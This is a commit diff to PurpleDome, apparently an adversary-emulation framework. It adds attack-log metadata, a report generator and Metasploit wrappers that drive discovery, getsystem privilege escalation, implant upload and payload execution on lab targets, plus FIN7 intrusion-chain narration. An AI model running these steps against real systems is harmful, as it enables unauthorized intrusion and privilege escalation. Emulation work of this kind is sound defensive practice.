Adding human readable doc generator

pull/11/head
Thorsten Sick 3 years ago
parent 0534104945
commit 3ff5912cb8

@ -4,6 +4,7 @@
import json import json
import datetime import datetime
from random import randint
def __mitre_fix_ttp__(ttp): def __mitre_fix_ttp__(ttp):
@ -45,7 +46,60 @@ class AttackLog():
return datetime.datetime.now().strftime(self.datetime_format) return datetime.datetime.now().strftime(self.datetime_format)
def start_caldera_attack(self, source, paw, group, ability_id, ttp=None, name=None, description=None, obfuscator="default", jitter="default"): # pylint: disable=too-many-arguments def get_caldera_default_name(self, ability_id):
""" Returns the default name for this ability based on a db """
data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": "whoami"}
if ability_id not in data:
return None
return data[ability_id]
def get_caldera_default_description(self, ability_id):
""" Returns the default description for this ability based on a db """
data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": "Obtain user from current session"}
if ability_id not in data:
return None
return data[ability_id]
def get_caldera_default_tactics(self, ability_id):
""" Returns the default tactics for this ability based on a db """
data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": " System Owner/User Discovery"}
if ability_id not in data:
return None
return data[ability_id]
def get_caldera_default_tactics_id(self, ability_id):
""" Returns the default name for this ability based on a db """
data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": "T1033"}
if ability_id not in data:
return None
return data[ability_id]
def get_caldera_default_situation_description(self, ability_id):
""" Returns the default situation description for this ability based on a db """
data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": None}
if ability_id not in data:
return None
return data[ability_id]
def get_caldera_default_countermeasure(self, ability_id):
""" Returns the default countermeasure for this ability based on a db """
data = {"bd527b63-9f9e-46e0-9816-b8434d2b8989": None}
if ability_id not in data:
return None
return data[ability_id]
def start_caldera_attack(self, source, paw, group, ability_id, ttp=None, **kwargs):
""" Mark the start of a caldera attack """ Mark the start of a caldera attack
@param source: source of the attack. Attack IP @param source: source of the attack. Attack IP
@ -53,34 +107,41 @@ class AttackLog():
@param group: Caldera group of the targets being attacked @param group: Caldera group of the targets being attacked
@param ability_id: Caldera ability id of the attack @param ability_id: Caldera ability id of the attack
@param ttp: TTP of the attack (as stated by Caldera internal settings) @param ttp: TTP of the attack (as stated by Caldera internal settings)
@param name: Name of the attack. Data source is Caldera internal settings
@param description: Descirption of the attack. Caldera is the source
@param obfuscator: C&C obfuscator being used
@param jitter: Jitter being used
""" """
data = {"timestamp": self.__get_timestamp__(), timestamp = self.__get_timestamp__()
logid = timestamp + "_" + str(randint(1, 100000))
data = {"timestamp": timestamp,
"timestamp_end": None,
"event": "start", "event": "start",
"type": "attack", "type": "attack",
"sub-type": "caldera", "sub_type": "caldera",
"source": source, "source": source,
"target_paw": paw, "target_paw": paw,
"target_group": group, "target_group": group,
"ability_id": ability_id, "ability_id": ability_id,
"hunting_tag": __mitre_fix_ttp__(ttp), "hunting_tag": __mitre_fix_ttp__(ttp),
"name": name or "", "logid": logid,
"description": description or "", "name": kwargs.get("name", self.get_caldera_default_name(ability_id)),
"obfuscator": obfuscator, "description": kwargs.get("description", self.get_caldera_default_description(ability_id)),
"jitter": jitter "tactics": kwargs.get("tactics", self.get_caldera_default_tactics(ability_id)),
"tactics_id": kwargs.get("tactics_id", self.get_caldera_default_tactics_id(ability_id)),
"situation_description": kwargs.get("situation_description", self.get_caldera_default_situation_description(ability_id)), # Description for the situation this attack was run in. Set by the plugin or attacker emulation
"countermeasure": kwargs.get("countermeasure", self.get_caldera_default_countermeasure(ability_id)), # Set by the attack
"obfuscator": kwargs.get("obfuscator", "default"),
"jitter": kwargs.get("jitter", "default"),
} }
self.__add_to_log__(data) self.__add_to_log__(data)
return logid
# TODO: Add parameter # TODO: Add parameter
# TODO: Add config # TODO: Add config
# TODO: Add results # TODO: Add results
def stop_caldera_attack(self, source, paw, group, ability_id, ttp=None, name=None, description=None, obfuscator="default", jitter="default"): # pylint: disable=too-many-arguments def stop_caldera_attack(self, source, paw, group, ability_id, ttp=None, **kwargs):
""" Mark the end of a caldera attack """ Mark the end of a caldera attack
@param source: source of the attack. Attack IP @param source: source of the attack. Attack IP
@ -97,16 +158,17 @@ class AttackLog():
data = {"timestamp": self.__get_timestamp__(), data = {"timestamp": self.__get_timestamp__(),
"event": "stop", "event": "stop",
"type": "attack", "type": "attack",
"sub-type": "caldera", "sub_type": "caldera",
"source": source, "source": source,
"target_paw": paw, "target_paw": paw,
"target_group": group, "target_group": group,
"ability_id": ability_id, "ability_id": ability_id,
"hunting_tag": __mitre_fix_ttp__(ttp), "hunting_tag": __mitre_fix_ttp__(ttp),
"name": name or "", "name": kwargs.get("name", ""),
"description": description or "", "description": kwargs.get("description", ""),
"obfuscator": obfuscator, "obfuscator": kwargs.get("obfuscator", "default"),
"jitter": jitter "jitter": kwargs.get("jitter", "default"),
"logid": kwargs.get("logid", None)
} }
self.__add_to_log__(data) self.__add_to_log__(data)
@ -118,33 +180,44 @@ class AttackLog():
@param file_name: Name of the file being written @param file_name: Name of the file being written
""" """
data = {"timestamp": self.__get_timestamp__(), timestamp = self.__get_timestamp__()
logid = timestamp + "_" + str(randint(1, 100000))
data = {"timestamp": timestamp,
"timestamp_end": None,
"event": "start", "event": "start",
"type": "dropping_file", "type": "dropping_file",
"sub-type": "by PurpleDome", "sub_type": "by PurpleDome",
"source": source, "source": source,
"target": target, "target": target,
"file_name": file_name "file_name": file_name,
"logid": logid
} }
self.__add_to_log__(data) self.__add_to_log__(data)
return logid
def stop_file_write(self, source, target, file_name): def stop_file_write(self, source, target, file_name, **kwargs):
""" Mark the stop of a file being written to the target (payload !) """ Mark the stop of a file being written to the target (payload !)
@param source: source of the attack. Attack IP (empty if written from controller) @param source: source of the attack. Attack IP (empty if written from controller)
@param target: Target machine of the attack @param target: Target machine of the attack
@param attack_name: Name of the attack. From plugin @param attack_name: Name of the attack. From plugin
@param file_name: Name of the file being written @param file_name: Name of the file being written
@param logid: logid of the corresponding start command
kwargs: logid to link to start_file_write
""" """
data = {"timestamp": self.__get_timestamp__(), data = {"timestamp": self.__get_timestamp__(),
"event": "stop", "event": "stop",
"type": "dropping_file", "type": "dropping_file",
"sub-type": "by PurpleDome", "sub_type": "by PurpleDome",
"source": source, "source": source,
"target": target, "target": target,
"file_name": file_name "file_name": file_name,
"logid": kwargs.get("logid", None)
} }
self.__add_to_log__(data) self.__add_to_log__(data)
def start_execute_payload(self, source, target, command): def start_execute_payload(self, source, target, command):
@ -155,36 +228,45 @@ class AttackLog():
@param command: Name of the file being written @param command: Name of the file being written
""" """
data = {"timestamp": self.__get_timestamp__(), timestamp = self.__get_timestamp__()
logid = timestamp + "_" + str(randint(1, 100000))
data = {"timestamp": timestamp,
"timestamp_end": None,
"event": "start", "event": "start",
"type": "execute_payload", "type": "execute_payload",
"sub-type": "by PurpleDome", "sub_type": "by PurpleDome",
"source": source, "source": source,
"target": target, "target": target,
"command": command "command": command,
"logid": logid
} }
self.__add_to_log__(data) self.__add_to_log__(data)
def stop_execute_payload(self, source, target, command): return logid
def stop_execute_payload(self, source, target, command, **kwargs):
""" Mark the stop of a payload being executed """ Mark the stop of a payload being executed
@param source: source of the attack. Attack IP (empty if written from controller) @param source: source of the attack. Attack IP (empty if written from controller)
@param target: Target machine of the attack @param target: Target machine of the attack
@param command: Name of the attack. From plugin @param command: Name of the attack. From plugin
@param file_name: Name of the file being written @param file_name: Name of the file being written
@param kwargs: logid to link to start_file_write
""" """
data = {"timestamp": self.__get_timestamp__(), data = {"timestamp": self.__get_timestamp__(),
"event": "stop", "event": "stop",
"type": "execute_payload", "type": "execute_payload",
"sub-type": "by PurpleDome", "sub_type": "by PurpleDome",
"source": source, "source": source,
"target": target, "target": target,
"command": command "command": command,
"logid": kwargs.get("logid", None)
} }
self.__add_to_log__(data) self.__add_to_log__(data)
def start_kali_attack(self, source, target, attack_name, ttp=None): def start_kali_attack(self, source, target, attack_name, ttp=None, **kwargs):
""" Mark the start of a Kali based attack """ Mark the start of a Kali based attack
@param source: source of the attack. Attack IP @param source: source of the attack. Attack IP
@ -193,22 +275,36 @@ class AttackLog():
@param ttp: TTP of the attack. From plugin @param ttp: TTP of the attack. From plugin
""" """
data = {"timestamp": self.__get_timestamp__(), timestamp = self.__get_timestamp__()
logid = timestamp + "_" + str(randint(1, 100000))
data = {"timestamp": timestamp,
"timestamp_end": None,
"event": "start", "event": "start",
"type": "attack", "type": "attack",
"sub-type": "kali", "sub_type": "kali",
"source": source, "source": source,
"target": target, "target": target,
"kali_name": attack_name, "kali_name": attack_name,
"hunting_tag": __mitre_fix_ttp__(ttp), "hunting_tag": __mitre_fix_ttp__(ttp),
"logid": logid,
"name": kwargs.get("name", None), # Human readable name of the attack
"kali_command": kwargs.get("kali_command", None),
"tactics": kwargs.get("tactics", None),
"tactics_id": kwargs.get("tactics_id", None),
"description": kwargs.get("description", None), # Generic description for this attack. Set by the attack
"situation_description": kwargs.get("situation_description", None), # Description for the situation this attack was run in. Set by the plugin or attacker emulation
"countermeasure": kwargs.get("countermeasure", None), # Set by the attack
} }
self.__add_to_log__(data) self.__add_to_log__(data)
return logid
# TODO: Add parameter # TODO: Add parameter
# TODO: Add config # TODO: Add config
# TODO: Add results # TODO: Add results
def stop_kali_attack(self, source, target, attack_name, ttp=None): def stop_kali_attack(self, source, target, attack_name, ttp=None, **kwargs):
""" Mark the end of a Kali based attack """ Mark the end of a Kali based attack
@param source: source of the attack. Attack IP @param source: source of the attack. Attack IP
@ -220,15 +316,35 @@ class AttackLog():
data = {"timestamp": self.__get_timestamp__(), data = {"timestamp": self.__get_timestamp__(),
"event": "stop", "event": "stop",
"type": "attack", "type": "attack",
"sub-type": "kali", "sub_type": "kali",
"source": source, "source": source,
"target": target, "target": target,
"kali_name": attack_name, "kali_name": attack_name,
"hunting_tag": __mitre_fix_ttp__(ttp), "hunting_tag": __mitre_fix_ttp__(ttp),
"logid": kwargs.get("logid", None)
}
self.__add_to_log__(data)
def start_narration(self, text):
""" Add some user defined narration. Can be used in plugins to describe the situation before and after the attack, ...
At the moment there is no stop narration command. I do not think we need one. But I want to stick to the structure
@param text: Text of the narration
"""
timestamp = self.__get_timestamp__()
logid = timestamp + "_" + str(randint(1, 100000))
data = {"timestamp": timestamp,
"event": "start",
"type": "narration",
"sub_type": "user defined narration",
"text": text,
} }
self.__add_to_log__(data) self.__add_to_log__(data)
return logid
def start_metasploit_attack(self, source, target, metasploit_command, ttp=None): def start_metasploit_attack(self, source, target, metasploit_command, ttp=None, **kwargs):
""" Mark the start of a Metasploit based attack """ Mark the start of a Metasploit based attack
@param source: source of the attack. Attack IP @param source: source of the attack. Attack IP
@ -237,18 +353,31 @@ class AttackLog():
@param ttp: TTP of the attack. From plugin @param ttp: TTP of the attack. From plugin
""" """
data = {"timestamp": self.__get_timestamp__(), timestamp = self.__get_timestamp__()
logid = timestamp + "_" + str(randint(1, 100000))
data = {"timestamp": timestamp,
"timestamp_end": None,
"event": "start", "event": "start",
"type": "attack", "type": "attack",
"sub-type": "metasploit", "sub_type": "metasploit",
"source": source, "source": source,
"target": target, "target": target,
"metasploit_command": metasploit_command, "metasploit_command": metasploit_command,
"hunting_tag": __mitre_fix_ttp__(ttp), "hunting_tag": __mitre_fix_ttp__(ttp),
"logid": logid,
"name": kwargs.get("name", None), # Human readable name of the attack
"tactics": kwargs.get("tactics", None),
"tactics_id": kwargs.get("tactics_id", None),
"description": kwargs.get("description", None), # Generic description for this attack. Set by the attack
"situation_description": kwargs.get("situation_description", None), # Description for the situation this attack was run in. Set by the plugin or attacker emulation
"countermeasure": kwargs.get("countermeasure", None), # Set by the attack
} }
self.__add_to_log__(data) self.__add_to_log__(data)
def stop_metasploit_attack(self, source, target, metasploit_command, ttp=None): return logid
def stop_metasploit_attack(self, source, target, metasploit_command, ttp=None, **kwargs):
""" Mark the start of a Metasploit based attack """ Mark the start of a Metasploit based attack
@param source: source of the attack. Attack IP @param source: source of the attack. Attack IP
@ -260,11 +389,12 @@ class AttackLog():
data = {"timestamp": self.__get_timestamp__(), data = {"timestamp": self.__get_timestamp__(),
"event": "stop", "event": "stop",
"type": "attack", "type": "attack",
"sub-type": "metasploit", "sub_type": "metasploit",
"source": source, "source": source,
"target": target, "target": target,
"metasploit_command": metasploit_command, "metasploit_command": metasploit_command,
"hunting_tag": __mitre_fix_ttp__(ttp), "hunting_tag": __mitre_fix_ttp__(ttp),
"logid": kwargs.get("logid", None)
} }
self.__add_to_log__(data) self.__add_to_log__(data)
@ -277,38 +407,46 @@ class AttackLog():
@param ttp: TTP of the attack. From plugin @param ttp: TTP of the attack. From plugin
""" """
data = {"timestamp": self.__get_timestamp__(), timestamp = self.__get_timestamp__()
logid = timestamp + "_" + str(randint(1, 100000))
data = {"timestamp": timestamp,
"timestamp_end": None,
"event": "start", "event": "start",
"type": "attack", "type": "attack",
"sub-type": "attack_plugin", "sub_type": "attack_plugin",
"source": source, "source": source,
"target": target, "target": target,
"plugin_name": plugin_name, "plugin_name": plugin_name,
"hunting_tag": __mitre_fix_ttp__(ttp), "hunting_tag": __mitre_fix_ttp__(ttp),
"logid": logid
} }
self.__add_to_log__(data) self.__add_to_log__(data)
return logid
# TODO: Add parameter # TODO: Add parameter
# TODO: Add config # TODO: Add config
# TODO: Add results # TODO: Add results
def stop_attack_plugin(self, source, target, plugin_name, ttp=None): def stop_attack_plugin(self, source, target, plugin_name, **kwargs):
""" Mark the end of an attack plugin """ Mark the end of an attack plugin
@param source: source of the attack. Attack IP @param source: source of the attack. Attack IP
@param target: Target machine of the attack @param target: Target machine of the attack
@param plugin_name: Name of the plugin @param plugin_name: Name of the plugin
@param ttp: TTP of the attack. From plugin @param logid: logid of the corresponding start command
@param kwargs: *ttp*, *logid*
""" """
data = {"timestamp": self.__get_timestamp__(), data = {"timestamp": self.__get_timestamp__(),
"event": "stop", "event": "stop",
"type": "attack", "type": "attack",
"sub-type": "attack_plugin", "sub_type": "attack_plugin",
"source": source, "source": source,
"target": target, "target": target,
"plugin_name": plugin_name, "plugin_name": plugin_name,
"hunting_tag": __mitre_fix_ttp__(ttp), "hunting_tag": __mitre_fix_ttp__(kwargs.get("ttp", None)),
"logid": kwargs.get("logid", None)
} }
self.__add_to_log__(data) self.__add_to_log__(data)
@ -320,11 +458,31 @@ class AttackLog():
with open(filename, "wt") as fh: with open(filename, "wt") as fh:
json.dump(self.get_dict(), fh) json.dump(self.get_dict(), fh)
def post_process(self):
""" Post process the data before using it """
for entry in self.log:
if entry["event"] == "stop" and "logid" in entry and entry["logid"] is not None:
# Search for matching start event and add timestamp
logid = entry["logid"]
for replace_entry in self.log:
if replace_entry["event"] == "start" and "logid" in replace_entry and replace_entry["logid"] == logid:
# Found matching start event. Updating it
replace_entry["timestamp_end"] = entry["timestamp"]
def get_dict(self): def get_dict(self):
""" Return logged data in dict format """ """ Return logged data in dict format """
return self.log return self.log
# TODO: doc_start_environment
# TODO: doc_describe_attack
# TODO: doc_attack_step
# TODO: Return full doc
def vprint(self, text, verbosity): def vprint(self, text, verbosity):
""" verbosity based stdout printing """ verbosity based stdout printing

@ -589,7 +589,7 @@ class CalderaControl():
# ######## All inclusive methods # ######## All inclusive methods
def attack(self, paw="kickme", ability_id="bd527b63-9f9e-46e0-9816-b8434d2b8989", group="red", target_platform=None, parameters=None): def attack(self, paw="kickme", ability_id="bd527b63-9f9e-46e0-9816-b8434d2b8989", group="red", target_platform=None, parameters=None, **kwargs):
""" Attacks a system and returns results """ Attacks a system and returns results
@param paw: Paw to attack @param paw: Paw to attack
@ -633,7 +633,8 @@ class CalderaControl():
name=self.get_ability(ability_id)[0]["name"], name=self.get_ability(ability_id)[0]["name"],
description=self.get_ability(ability_id)[0]["description"], description=self.get_ability(ability_id)[0]["description"],
obfuscator=obfuscator, obfuscator=obfuscator,
jitter=jitter jitter=jitter,
**kwargs
) )
# ##### Create / Run Operation # ##### Create / Run Operation

@ -67,7 +67,7 @@ class MachineConfig():
try: try:
return self.raw_config["vm_controller"]["ip"] return self.raw_config["vm_controller"]["ip"]
except KeyError: except KeyError:
return None return self.vmname()
def os(self): # pylint: disable=invalid-name def os(self): # pylint: disable=invalid-name
""" returns the os. lowercase """ """ returns the os. lowercase """

@ -313,12 +313,12 @@ class MSFVenom():
1) 1)
# Deploy to target # Deploy to target
if self.attack_logger: if self.attack_logger:
self.attack_logger.start_file_write("", self.target.get_name(), payload_name) logid = self.attack_logger.start_file_write("", self.target.get_name(), payload_name)
playground = self.target.get_playground() playground = self.target.get_playground()
print(f"Putting to playground {playground}") print(f"Putting to playground {playground}")
self.target.put(src, playground) self.target.put(src, playground)
if self.attack_logger: if self.attack_logger:
self.attack_logger.stop_file_write("", self.target.get_name(), payload_name) self.attack_logger.stop_file_write("", self.target.get_name(), payload_name, logid=logid)
if self.target.get_os() == "linux": if self.target.get_os() == "linux":
if self.target.get_playground() is not None: if self.target.get_playground() is not None:
@ -332,11 +332,11 @@ class MSFVenom():
print(cmd) print(cmd)
if self.attack_logger: if self.attack_logger:
self.attack_logger.start_execute_payload("", self.target.get_name(), cmd) logid = self.attack_logger.start_execute_payload("", self.target.get_name(), cmd)
res = self.target.remote_run(cmd, disown=True) res = self.target.remote_run(cmd, disown=True)
print(f"Running payload, result is {res}") print(f"Running payload, result is {res}")
if self.attack_logger: if self.attack_logger:
self.attack_logger.stop_execute_payload("", self.target.get_name(), cmd) self.attack_logger.stop_execute_payload("", self.target.get_name(), cmd, logid=logid)
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Executed payload {payload_name} on {self.target.get_name()} {CommandlineColors.ENDC}", f"{CommandlineColors.OKCYAN}Executed payload {payload_name} on {self.target.get_name()} {CommandlineColors.ENDC}",
1) 1)
@ -402,25 +402,36 @@ class MetasploitInstant(Metasploit):
res = [item for item in res if item["Arch"] == arch] res = [item for item in res if item["Arch"] == arch]
return res return res
def ps_process_discovery(self, target): def ps_process_discovery(self, target, **kwargs):
""" Do a process discovery on the target """ """ Do a process discovery on the target """
command = "ps -ax" command = "ps -ax"
ttp = "T1057" ttp = "T1057"
tactics = "Discovery"
tactics_id = "TA0007"
description = "Process discovery can be used to identify running security solutions, processes with elevated privileges, interesting services."
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1) f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1)
self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(), logid = self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
target=target.get_ip(), target=target.get_ip(),
metasploit_command=command, metasploit_command=command,
ttp=ttp) ttp=ttp,
name="ps",
description=description,
tactics=tactics,
tactics_id=tactics_id,
situation_description=kwargs.get("situation_description", None),
countermeasure=kwargs.get("countermeasure", None)
)
res = self.meterpreter_execute_on([command], target) res = self.meterpreter_execute_on([command], target)
self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(), self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(),
target=target.get_ip(), target=target.get_ip(),
metasploit_command=command, metasploit_command=command,
ttp=ttp) ttp=ttp,
logid=logid)
return res return res
def migrate(self, target, user=None, name=None, arch=None): def migrate(self, target, user=None, name=None, arch=None):
@ -457,47 +468,112 @@ class MetasploitInstant(Metasploit):
ttp=ttp) ttp=ttp)
return res return res
def arp_network_discovery(self, target): def arp_network_discovery(self, target, **kwargs):
""" Do a network discovery on the target """ """ Do a network discovery on the target """
command = "arp" command = "arp"
ttp = "T1016" ttp = "T1016"
tactics = "Discovery"
tactics_id = "TA0007"
description = "Network discovery can be a first step for lateral movement."
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1) f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1)
self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(), logid = self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
target=target.get_ip(), target=target.get_ip(),
metasploit_command=command, metasploit_command=command,
ttp=ttp) ttp=ttp,
name="arp",
description=description,
tactics=tactics,
tactics_id=tactics_id,
situation_description=kwargs.get("situation_description",
None),
countermeasure=kwargs.get("countermeasure", None)
)
res = self.meterpreter_execute_on([command], target) res = self.meterpreter_execute_on([command], target)
print(res) print(res)
self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(), self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(),
target=target.get_ip(), target=target.get_ip(),
metasploit_command=command, metasploit_command=command,
ttp=ttp) ttp=ttp,
logid=logid)
return res
def nslookup(self, target, target2, **kwargs):
""" Do a nslookup discovery on the target
@param target: Command runs here
@param target2: This one is looked up
"""
command = f"execute -f nslookup.exe -H -i -a '{target2.get_ip()}'"
ttp = "T1018"
tactics = "Discovery"
tactics_id = "TA0007"
description = "Nslookup to get information on a specific target"
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1)
logid = self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
target=target.get_ip(),
metasploit_command=command,
ttp=ttp,
name="nslookup",
description=description,
tactics=tactics,
tactics_id=tactics_id,
situation_description=kwargs.get("situation_description",
None),
countermeasure=kwargs.get("countermeasure", None)
)
res = self.meterpreter_execute_on([command], target)
print(res)
self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(),
target=target.get_ip(),
metasploit_command=command,
ttp=ttp,
logid=logid)
return res return res
def getsystem(self, target): def getsystem(self, target, **kwargs):
""" Do a network discovery on the target """ """ Do a network discovery on the target """
command = "getsystem" command = "getsystem"
ttp = "????" # It uses one out of three different ways to elevate privileges. ttp = "????" # It uses one out of three different ways to elevate privileges.
tactics = "Privilege Escalation"
tactics_id = "TA0004"
description = """
Elevate privileges from local administrator to SYSTEM. Three ways to do that will be tried:
* named pipe impersonation using cmd
* named pipe impersonation using a dll
* token duplication
"""
# https://docs.rapid7.com/metasploit/meterpreter-getsystem/ # https://docs.rapid7.com/metasploit/meterpreter-getsystem/
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1) f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1)
self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(), logid = self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
target=target.get_ip(), target=target.get_ip(),
metasploit_command=command, metasploit_command=command,
ttp=ttp) ttp=ttp,
name="getsystem",
description=description,
tactics=tactics,
tactics_id=tactics_id,
situation_description=kwargs.get("situation_description", None),
countermeasure=kwargs.get("countermeasure", None)
)
res = self.meterpreter_execute_on([command], target) res = self.meterpreter_execute_on([command], target)
print(res) print(res)
self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(), self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(),
target=target.get_ip(), target=target.get_ip(),
metasploit_command=command, metasploit_command=command,
ttp=ttp) ttp=ttp,
logid=logid)
return res return res
def clearev(self, target): def clearev(self, target):
@ -625,3 +701,42 @@ class MetasploitInstant(Metasploit):
metasploit_command=command, metasploit_command=command,
ttp=ttp) ttp=ttp)
return res[0] return res[0]
def upload(self, target, src, dst, **kwargs):
""" Upload file from metasploit controller to target
@param src: source file name on metasploit controller
@param dst: destination file name on target machine
"""
command = f"upload {src} '{dst}' "
ttp = "????" # It uses one out of three different ways to elevate privileges.
tactics = "???"
tactics_id = "???"
description = """
Uploading new files to the target. Can be config files, tools, implants, ...
"""
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1)
logid = self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
target=target.get_ip(),
metasploit_command=command,
ttp=ttp,
name="upload",
description=description,
tactics=tactics,
tactics_id=tactics_id,
situation_description=kwargs.get("situation_description",
None),
countermeasure=kwargs.get("countermeasure", None)
)
res = self.meterpreter_execute_on([command], target, kwargs.get("delay", 10))
print(res)
self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(),
target=target.get_ip(),
metasploit_command=command,
ttp=ttp,
logid=logid)
return res

@ -0,0 +1,36 @@
#!/usr/bin/env python3
# A standalon document generator. Takes an attack log and generates a doc using templates. Functionality will later be merged into PurpleDome
import json
from jinja2 import Environment, FileSystemLoader, select_autoescape
# from pprint import pprint
def generate(jfile, outfile):
env = Environment(
loader=FileSystemLoader("templates", encoding='utf-8', followlinks=False),
autoescape=select_autoescape(),
trim_blocks=True,
lstrip_blocks=True
)
template = env.get_template("attack_description.rst")
with open(jfile) as fh:
events = json.load(fh)
print(template.render(events=events))
# pprint(events)
# dest = os.path.join(self.get_plugin_path(), "filebeat.conf")
# with open(dest, "wt") as fh:
# res = template.render({"playground": self.get_playground()})
# fh.write(res)
if __name__ == "__main__":
# generate("loot/2021_07_19___16_28_45/attack.json", "tools/human_readable_documentation/contents.rst") # Working example for a short run
# generate("loot/2021_07_20___08_26_33/attack.json", "tools/human_readable_documentation/contents.rst") # FIN 7 #1
generate("loot/2021_07_20___10_07_36/attack.json", "tools/human_readable_documentation/contents.rst") # FIN 7 #2
# generate("loot/2021_07_19___15_10_45/attack.json", "tools/human_readable_documentation/contents.rst")
# generate("removeme.json", "tools/human_readable_documentation/contents.rst")

@ -103,7 +103,7 @@ class AttackPlugin(BasePlugin):
""" """
self.caldera = caldera self.caldera = caldera
def caldera_attack(self, target, ability_id, parameters=None): def caldera_attack(self, target, ability_id, parameters=None, **kwargs):
""" Attack a single target using caldera """ Attack a single target using caldera
@param target: Target machine object @param target: Target machine object
@ -115,7 +115,8 @@ class AttackPlugin(BasePlugin):
ability_id=ability_id, ability_id=ability_id,
group=target.get_group(), group=target.get_group(),
target_platform=target.get_os(), target_platform=target.get_os(),
parameters=parameters parameters=parameters,
**kwargs
) )
def get_attacker_playground(self): def get_attacker_playground(self):

@ -4,7 +4,7 @@
from plugins.base.attack import AttackPlugin from plugins.base.attack import AttackPlugin
from app.interface_sfx import CommandlineColors from app.interface_sfx import CommandlineColors
from app.metasploit import MSFVenom, Metasploit from app.metasploit import MSFVenom, MetasploitInstant
import os import os
import time import time
@ -32,13 +32,29 @@ class FIN7Plugin(AttackPlugin):
if self.metasploit_1: if self.metasploit_1:
return self.metasploit_1 return self.metasploit_1
self.metasploit_1 = Metasploit(self.metasploit_password, attack_logger=self.attack_logger, attacker=self.attacker_machine_plugin, username=self.metasploit_user) self.metasploit_1 = MetasploitInstant(self.metasploit_password, attack_logger=self.attack_logger, attacker=self.attacker_machine_plugin, username=self.metasploit_user)
self.metasploit_1.start_exploit_stub_for_external_payload(payload=self.payload_type_1) self.metasploit_1.start_exploit_stub_for_external_payload(payload=self.payload_type_1)
self.metasploit_1.wait_for_session() self.metasploit_1.wait_for_session()
return self.metasploit_1 return self.metasploit_1
def step1(self): def step1(self):
self.attack_logger.vprint(f"{CommandlineColors.OKBLUE}Step 1 (target hotelmanager): Initial Breach{CommandlineColors.ENDC}", 1) self.attack_logger.vprint(f"{CommandlineColors.OKBLUE}Step 1 (target hotelmanager): Initial Breach{CommandlineColors.ENDC}", 1)
self.attack_logger.start_narration(
"Step 1 (target hotelmanager): Initial Breach\n----------------------------")
self.attack_logger.start_narration("""
NOT IMPLEMENTED YET
* RTF with VB payload (needs user interaction)
* playoad executed by mshta
* mshta build js payload
* mshta copies wscript.exe to ADB156.exe
* winword.exe spawns verclsid.exe (a normal tool that can download stuff, no idea yet what it is used for here)
* mshta uses taskschd.dll to create a task in 5 minutes
This is the initial attack step that requires user interaction. Maybe it is better to reproduce those steps separately. They seem to be quite standard for any Ransomware infection.
""")
# TODOS: No idea if we can replicate that automated as those are manual tasks # TODOS: No idea if we can replicate that automated as those are manual tasks
# RTF with VB payload (needs user interaction) # RTF with VB payload (needs user interaction)
@ -52,6 +68,19 @@ class FIN7Plugin(AttackPlugin):
def step2(self): def step2(self):
self.attack_logger.vprint(f"{CommandlineColors.OKBLUE}Step 2 (target hotelmanager): Delayed Malware Execution{CommandlineColors.ENDC}", 1) self.attack_logger.vprint(f"{CommandlineColors.OKBLUE}Step 2 (target hotelmanager): Delayed Malware Execution{CommandlineColors.ENDC}", 1)
self.attack_logger.start_narration(
"Step 2 (target hotelmanager): Delayed Malware Execution\n----------------------------")
self.attack_logger.start_narration("""
NOT IMPLEMENTED YET
* scheduled task spawns Adb156.exe via svchost https://attack.mitre.org/techniques/T1053/005/
* Adb156.exe loads scrobj.dll and executes sql-rat.js via jscript https://attack.mitre.org/techniques/T1059/007/
* Adb156.exe connects via MSSQL to attacker server
* WMI quieries for network information and system information https://attack.mitre.org/techniques/T1016/ and https://attack.mitre.org/techniques/T1082/ (Caldera ?)
In this simulation sql-rat.js communication will be replaced by Caldera communication.
""")
# scheduled task spawns Adb156.exe via svchost https://attack.mitre.org/techniques/T1053/005/ # scheduled task spawns Adb156.exe via svchost https://attack.mitre.org/techniques/T1053/005/
# Adb156.exe loads scrobj.dll and executes sql-rat.js via jscript https://attack.mitre.org/techniques/T1059/007/ # Adb156.exe loads scrobj.dll and executes sql-rat.js via jscript https://attack.mitre.org/techniques/T1059/007/
@ -63,6 +92,7 @@ class FIN7Plugin(AttackPlugin):
def step3(self): def step3(self):
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKBLUE}Step 3 (target hotelmanager): Target Assessment{CommandlineColors.ENDC}", 1) f"{CommandlineColors.OKBLUE}Step 3 (target hotelmanager): Target Assessment{CommandlineColors.ENDC}", 1)
self.attack_logger.start_narration("Step 3 (target hotelmanager): Target Assessment\n----------------------------")
